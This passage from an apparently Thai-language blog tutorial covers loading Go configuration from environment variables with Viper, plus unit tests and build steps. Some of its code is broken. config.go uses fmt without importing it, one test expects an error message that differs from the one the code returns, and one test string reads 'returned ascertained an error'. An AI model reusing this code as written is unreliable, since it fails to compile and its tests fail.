&#xE14;&#xE36;&#xE07;&#xE04;&#xE48;&#xE32;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30; Environment Variable &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49; Prefix &quot;MYAPP&quot; &#xE40;&#xE01;&#xE47;&#xE1A;&#xE44;&#xE27;&#xE49;&#xE43;&#xE19; struct &quot;Config&quot;</p><pre><code>type Config struct {
	DatabaseHost     string `mapstructure:&quot;database_host&quot;`
	DatabasePort     int    `mapstructure:&quot;database_port&quot;`
	DatabasePassword string `mapstructure:&quot;database_password&quot;`
}</code></pre><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; Tag <code>mapstructure:&quot;database_host&quot;</code> &#xE43;&#xE19; Struct &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE1A;&#xE2D;&#xE01; Viper &#xE27;&#xE48;&#xE32; Field &#xE19;&#xE35;&#xE49;&#xE08;&#xE30; Map &#xE01;&#xE31;&#xE1A; Key database_host &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07; Field &#xE2D;&#xE37;&#xE48;&#xE19; &#xE46; &#xE01;&#xE47;&#xE43;&#xE0A;&#xE49;&#xE01;&#xE32;&#xE23; Map &#xE43;&#xE19;&#xE25;&#xE31;&#xE01;&#xE29;&#xE13;&#xE30;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;</p><p>&#xE42;&#xE14;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong>viper.AutomaticEnv()</strong> &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49; Viper &#xE2D;&#xE48;&#xE32;&#xE19;&#xE04;&#xE48;&#xE32;&#xE08;&#xE32;&#xE01; Environment Variable &#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;</p><p>Viper &#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE04;&#xE48;&#xE32; Default &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong>viper.SetDefault()</strong> &#xE41;&#xE25;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; viper.Unmarshal &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D; bind &#xE04;&#xE48;&#xE32; environment variables &#xE40;&#xE02;&#xE49;&#xE32;&#xE01;&#xE31;&#xE1A; struct &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE30;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE42;&#xE04;&#xE49;&#xE14;&#xE2A;&#xE31;&#xE49;&#xE19;&#xE25;&#xE07;&#xE41;&#xE25;&#xE30;&#xE14;&#xE39;&#xE2A;&#xE30;&#xE2D;&#xE32;&#xE14;&#xE15;&#xE32;&#xE02;&#xE36;&#xE49;&#xE19; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE14;&#xE49;&#xE27;&#xE22;&#xE15;&#xE31;&#xE27;&#xE40;&#xE2D;&#xE07;&#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; strconv.Atoi() &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19; Code &#xE17;&#xE35;&#xE48;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE21;&#xE32;</p><pre><code>package main

import (
	&quot;fmt&quot;
	&quot;log&quot;

	&quot;github.com/spf13/viper&quot;
)

type Config struct {
	DatabaseHost     string `mapstructure:&quot;database_host&quot;`
	DatabasePort     int    `mapstructure:&quot;database_port&quot;`
	DatabasePassword string `mapstructure:&quot;database_password&quot;`
}

// LoadConfig &#xE2D;&#xE48;&#xE32;&#xE19; Configuration &#xE08;&#xE32;&#xE01; Environment Variable
func LoadConfig() (Config, error) {
	viper.SetEnvPrefix(&quot;MYAPP&quot;)
	viper.AutomaticEnv()

	// &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE04;&#xE48;&#xE32; Default &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; Key &#xE17;&#xE35;&#xE48;&#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A; Struct Tag
	viper.SetDefault(&quot;database_host&quot;, &quot;localhost&quot;)
	viper.SetDefault(&quot;database_port&quot;, 5432)
	viper.SetDefault(&quot;database_password&quot;, &quot;&quot;)

	var config Config
	if err := viper.Unmarshal(&amp;config); err != nil {
		return Config{}, fmt.Errorf(&quot;failed to unmarshal config: %v&quot;, err)
	}

	if config.DatabaseHost == &quot;&quot; {
		return Config{}, fmt.Errorf(&quot;database_host is required but not set&quot;)
	}
	return config, nil
}

func main() {
	config, err := LoadConfig()
	if err != nil {
		log.Fatalf(&quot;Cannot load config: %v&quot;, err)
	}

	fmt.Println(&quot;Database Configuration:&quot;)
	fmt.Printf(&quot;Host: %s\n&quot;, config.DatabaseHost)
	fmt.Printf(&quot;Port: %d\n&quot;, config.DatabasePort)
	fmt.Printf(&quot;Password is set: %v\n&quot;, config.DatabasePassword != &quot;&quot;)
}
</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/02/Screenshot-2025-02-24-at-12.45.35-PM.png" class="kg-image" alt loading="lazy" width="2000" height="1250" srcset="https://blog.pjjop.org/content/images/size/w600/2025/02/Screenshot-2025-02-24-at-12.45.35-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/02/Screenshot-2025-02-24-at-12.45.35-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/02/Screenshot-2025-02-24-at-12.45.35-PM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2025/02/Screenshot-2025-02-24-at-12.45.35-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><p><strong>&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE2B;&#xE15;&#xE38;</strong> &#xE23;&#xE30;&#xE21;&#xE31;&#xE14;&#xE23;&#xE30;&#xE27;&#xE31;&#xE07;&#xE01;&#xE32;&#xE23;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE23;&#xE2B;&#xE31;&#xE2A;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07;&#xE43;&#xE19; Output &#xE02;&#xE2D;&#xE07; Program &#xE0B;&#xE36;&#xE48;&#xE07;&#xE43;&#xE19;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE01;&#xE32;&#xE23;&#xE13;&#xE4C;&#xE08;&#xE23;&#xE34;&#xE07;&#xE04;&#xE27;&#xE23;&#xE2B;&#xE25;&#xE35;&#xE01;&#xE40;&#xE25;&#xE35;&#xE48;&#xE22;&#xE07;!</p><p>&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Unit Test &#xE40;&#xE1A;&#xE37;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE49;&#xE19;</p><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Package &quot;config&quot; &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Project &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;&#xE04;&#xE23;&#xE31;&#xE1A;</p><pre><code>myproject/
&#x251C;&#x2500;&#x2500; cmd/
&#x2502;   &#x2514;&#x2500;&#x2500; main.go
&#x251C;&#x2500;&#x2500; config/
&#x2502;   &#x251C;&#x2500;&#x2500; config.go
&#x2502;   &#x2514;&#x2500;&#x2500; config_test.go
&#x2514;&#x2500;&#x2500; go.mod</code></pre><p><strong>config<strong>.go</strong></strong> &#xE04;&#xE37;&#xE2D; &#xE44;&#xE1F;&#xE25;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A; Code &#xE43;&#xE19; Package &quot;config&quot; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35; Function &quot;LoadConfig&quot; &#xE17;&#xE35;&#xE48;&#xE08;&#xE30; Test</p><pre><code>// config.go

package config

import (
	&quot;log&quot;
	&quot;strings&quot;

	&quot;github.com/spf13/viper&quot;
)

type Config struct {
	DatabaseHost     string `mapstructure:&quot;database_host&quot;`
	DatabasePort     int    `mapstructure:&quot;database_port&quot;`
	DatabasePassword string `mapstructure:&quot;database_password&quot;`
}

// LoadConfig &#xE2D;&#xE48;&#xE32;&#xE19; Configuration &#xE08;&#xE32;&#xE01; Environment Variable
func LoadConfig() (Config, error) {
	viper.SetEnvPrefix(&quot;MYAPP&quot;)
	viper.AutomaticEnv()

	// &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE04;&#xE48;&#xE32; Default &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; Key &#xE17;&#xE35;&#xE48;&#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A; Struct Tag
	viper.SetDefault(&quot;database_host&quot;, &quot;localhost&quot;)
	viper.SetDefault(&quot;database_port&quot;, 5432)
	viper.SetDefault(&quot;database_password&quot;, &quot;&quot;)

	var config Config
	if err := viper.Unmarshal(&amp;config); err != nil {
		return Config{}, fmt.Errorf(&quot;failed to unmarshal config: %v&quot;, err)
	}

	if config.DatabaseHost == &quot;&quot; {
		return Config{}, fmt.Errorf(&quot;database_host is required but not set&quot;)
	}
	return config, nil
}</code></pre><p><strong>config<strong>_test.go</strong></strong> &#xE04;&#xE37;&#xE2D;&#xE44;&#xE1F;&#xE25;&#xE4C; Test &#xE0B;&#xE36;&#xE48;&#xE07;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; Package &#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;&#xE01;&#xE31;&#xE1A; Code &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; &#xE1B;&#xE23;&#xE30;&#xE01;&#xE2D;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22; Function &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><p>Function &quot;<strong>clearEnvVars</strong>&quot; &#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><p><strong>Clear &#xE04;&#xE48;&#xE32; Environment Variables &#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE02;&#xE2D;&#xE07; Program</strong> &#xE17;&#xE35;&#xE48;&#xE2A;&#xE37;&#xE1A;&#xE17;&#xE2D;&#xE14;&#xE21;&#xE32;&#xE01;&#xE08;&#xE32;&#xE01; Environment Variable &#xE43;&#xE19; Environment &#xE41;&#xE21;&#xE48; &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; os.Unsetenv()</p><p>Function &quot;<strong>resetViper</strong>&quot; &#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><p>&#xE23;&#xE35;&#xE40;&#xE0B;&#xE47;&#xE15; Viper &#xE43;&#xE2B;&#xE49;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE2A;&#xE39;&#xE48;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Test Case &#xE40;&#xE1B;&#xE47;&#xE19;&#xE2D;&#xE34;&#xE2A;&#xE23;&#xE30;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE19; &#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE1C;&#xE25;&#xE01;&#xE23;&#xE30;&#xE17;&#xE1A;&#xE08;&#xE32;&#xE01; Test Case &#xE01;&#xE48;&#xE2D;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32;</p><p>Function &quot;<strong>TestLoadConfig</strong>&quot; &#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><p>TestLoadConfig<strong> </strong>&#xE40;&#xE1B;&#xE47;&#xE19;<strong> </strong>Function &#xE2B;&#xE25;&#xE31;&#xE01;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23; Test &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Test Case 2 Test Case</p><p><strong>Test Case &#xE17;&#xE35;&#xE48; 1</strong> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE04;&#xE48;&#xE32; Default &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23; Clear &#xE04;&#xE48;&#xE32; Environment Variables &#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE02;&#xE2D;&#xE07; Program &#xE23;&#xE35;&#xE40;&#xE0B;&#xE47;&#xE15; Viper &#xE41;&#xE25;&#xE49;&#xE27;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; LoadConfig() &#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE30;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE21;&#xE35; Error &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48; &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE04;&#xE48;&#xE32; Default &#xE17;&#xE35;&#xE48;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07; &#xE08;&#xE32;&#xE01;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE1F;&#xE34;&#xE25;&#xE14;&#xE4C;&#xE43;&#xE19; struct &quot;Config&quot;</p><p><strong>Test Case &#xE17;&#xE35;&#xE48; 2</strong> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE04;&#xE48;&#xE32;&#xE08;&#xE32;&#xE01; Environment Variable &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23; Clear &#xE04;&#xE48;&#xE32; Environment Variables &#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; &#xE41;&#xE25;&#xE30;&#xE23;&#xE35;&#xE40;&#xE0B;&#xE47;&#xE15; Viper &#xE2D;&#xE35;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07; &#xE41;&#xE25;&#xE49;&#xE27;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Environment Variable &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; os.Setenv() &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE15;&#xE31;&#xE49;&#xE07;&#xE44;&#xE27;&#xE49;&#xE44;&#xE14;&#xE49;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; LoadConfig() &#xE41;&#xE25;&#xE49;&#xE27;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE27;&#xE48;&#xE32;&#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A; Environment Variable &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;</p><p><strong>&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE2B;&#xE15;&#xE38;</strong> &#xE43;&#xE0A;&#xE49; <strong>t.Fatalf()</strong> &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE01;&#xE34;&#xE14; Error &#xE17;&#xE35;&#xE48;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; Test &#xE15;&#xE48;&#xE2D;&#xE44;&#xE14;&#xE49; &#xE41;&#xE25;&#xE30;&#xE43;&#xE0A;&#xE49; <strong>t.Errorf()</strong> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE32;&#xE22;&#xE07;&#xE32;&#xE19;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE41;&#xE15;&#xE48;&#xE22;&#xE31;&#xE07;&#xE04;&#xE07; Test &#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;</p><pre><code>// config_test.go

package config

import (
	&quot;os&quot;
	&quot;strings&quot;
	&quot;testing&quot;

	&quot;github.com/spf13/viper&quot;
)

var envVars = []string{
	&quot;MYAPP_DATABASE_HOST&quot;,
	&quot;MYAPP_DATABASE_PORT&quot;,
	&quot;MYAPP_DATABASE_PASSWORD&quot;,
}

func clearEnvVars() {
	for _, env := range envVars {
		os.Unsetenv(env)
	}
}

func resetViper() {
	viper.Reset()
	viper.SetEnvPrefix(&quot;MYAPP&quot;)
	viper.AutomaticEnv()
}

func TestLoadConfig(t *testing.T) {
	tests := []struct {
		name          string
		setupEnv      func() // &#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; environment variables
		wantHost      string
		wantPort      int
		wantPassword  string
		wantErr       bool
		errMsg        string
	}{
		{
			name: &quot;default values&quot;,
			setupEnv: func() {
				clearEnvVars()
			},
			wantHost:     &quot;localhost&quot;,
			wantPort:     5432,
			wantPassword: &quot;&quot;,
			wantErr:      false,
		},
		{
			name: &quot;custom environment variables&quot;,
			setupEnv: func() {
				clearEnvVars()
				os.Setenv(&quot;MYAPP_DATABASE_HOST&quot;, &quot;testhost.com&quot;)
				os.Setenv(&quot;MYAPP_DATABASE_PORT&quot;, &quot;5678&quot;)
				os.Setenv(&quot;MYAPP_DATABASE_PASSWORD&quot;, &quot;testpassword&quot;)
			},
			wantHost:     &quot;testhost.com&quot;,
			wantPort:     5678,
			wantPassword: &quot;testpassword&quot;,
			wantErr:      false,
		},
		{
			name: &quot;missing required database.host&quot;,
			setupEnv: func() {
				clearEnvVars()
				os.Setenv(&quot;MYAPP_DATABASE_HOST&quot;, &quot;&quot;) // &#xE15;&#xE31;&#xE49;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE04;&#xE48;&#xE32;&#xE27;&#xE48;&#xE32;&#xE07;
			},
			wantErr: true,
			errMsg:  &quot;database.host is required but not set&quot;,
		},
	}

	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			// &#xE23;&#xE35;&#xE40;&#xE0B;&#xE47;&#xE15; Viper &#xE41;&#xE25;&#xE30;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; environment variables
			resetViper()
			tt.setupEnv()

			// &#xE40;&#xE23;&#xE35;&#xE22;&#xE01; LoadConfig
			config, err := LoadConfig()

			// &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; error
			if tt.wantErr {
				if err == nil {
					t.Fatalf(&quot;LoadConfig() should return error, but got nil&quot;)
				}
				if err.Error() != tt.errMsg {
					t.Errorf(&quot;LoadConfig() error = %v; want %v&quot;, err, tt.errMsg)
				}
				return
			}
			if err != nil {
				t.Fatalf(&quot;LoadConfig() returned ascertained an error: %v&quot;, err)
			}

			// &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;
			if config.DatabaseHost != tt.wantHost {
				t.Errorf(&quot;DatabaseHost = %s; want %s&quot;, config.DatabaseHost, tt.wantHost)
			}
			if config.DatabasePort != tt.wantPort {
				t.Errorf(&quot;DatabasePort = %d; want %d&quot;, config.DatabasePort, tt.wantPort)
			}
			if config.DatabasePassword != tt.wantPassword {
				t.Errorf(&quot;DatabasePassword = %s; want %s&quot;, config.DatabasePassword, tt.wantPassword)
			}
		})
	}
}</code></pre><p>&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; &#xE41;&#xE25;&#xE30; Folder &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>myproject/
&#x251C;&#x2500;&#x2500; cmd
&#x2514;&#x2500;&#x2500; internal
    &#x2514;&#x2500;&#x2500; config
        &#x251C;&#x2500;&#x2500; config.go
        &#x2514;&#x2500;&#x2500; config_test.go</code></pre><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C;&#x200B; go.mod &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go mod init myproject</p><pre><code>go mod init myproject</code></pre><p>&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Package &quot;viper&quot; </p><pre><code>go get github.com/spf13/viper</code></pre><p>&#xE23;&#xE31;&#xE19;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>go mod tidy</code> &#xE17;&#xE38;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07; Dependency &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE31;&#xE01;&#xE29;&#xE32;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE2D;&#xE14;&#xE04;&#xE25;&#xE49;&#xE2D;&#xE07;&#xE41;&#xE25;&#xE30;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE21;&#xE1A;&#xE39;&#xE23;&#xE13;&#xE4C;&#xE02;&#xE2D;&#xE07; Dependency &#xE43;&#xE19; Project</p><pre><code>go mod tidy</code></pre><p>&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go test -v &#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE1A; -count=1 <strong>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE31;&#xE48;&#xE19;&#xE43;&#xE08;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Test &#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE38;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE14;&#xE36;&#xE07;&#xE1C;&#xE25;&#xE01;&#xE32;&#xE23; Test &#xE21;&#xE32;&#xE08;&#xE32;&#xE01; Cache</strong></p><pre><code>go test -v -count=1 ./...</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-12-at-8.57.42-PM.png" class="kg-image" alt loading="lazy" width="2000" height="1177" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-12-at-8.57.42-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-12-at-8.57.42-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-12-at-8.57.42-PM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2024-08-12-at-8.57.42-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE14;&#xE39; % &#xE02;&#xE2D;&#xE07; Coverage &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go test -cover</p><pre><code>go test -cover ./...</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-12-at-8.58.26-PM.png" class="kg-image" alt loading="lazy" width="2000" height="1177" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-12-at-8.58.26-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-12-at-8.58.26-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-12-at-8.58.26-PM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2024-08-12-at-8.58.26-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE23;&#xE31;&#xE19; Unit Test &#xE41;&#xE25;&#xE49;&#xE27; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Package &quot;config&quot; &#xE43;&#xE19; main.go &#xE14;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>// main.go

package main

import (
	&quot;fmt&quot;
	&quot;log&quot;

	&quot;myproject/internal/config&quot;
)

func main() {
	cfg, err := config.LoadConfig()
	if err != nil {
		log.Fatalf(&quot;Failed to load configuration: %v&quot;, err)
	}

	fmt.Printf(&quot;Database Configuration:\n&quot;)
	fmt.Printf(&quot;Host: %s\n&quot;, cfg.DatabaseHost)
	fmt.Printf(&quot;Port: %d\n&quot;, cfg.DatabasePort)
	fmt.Printf(&quot;Password is set: %v\n&quot;, cfg.DatabasePassword != &quot;&quot;)
}
</code></pre><p>Compile Code &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go build &#xE41;&#xE25;&#xE30;&#xE23;&#xE31;&#xE19; Program</p><pre><code>go build cmd/main.go

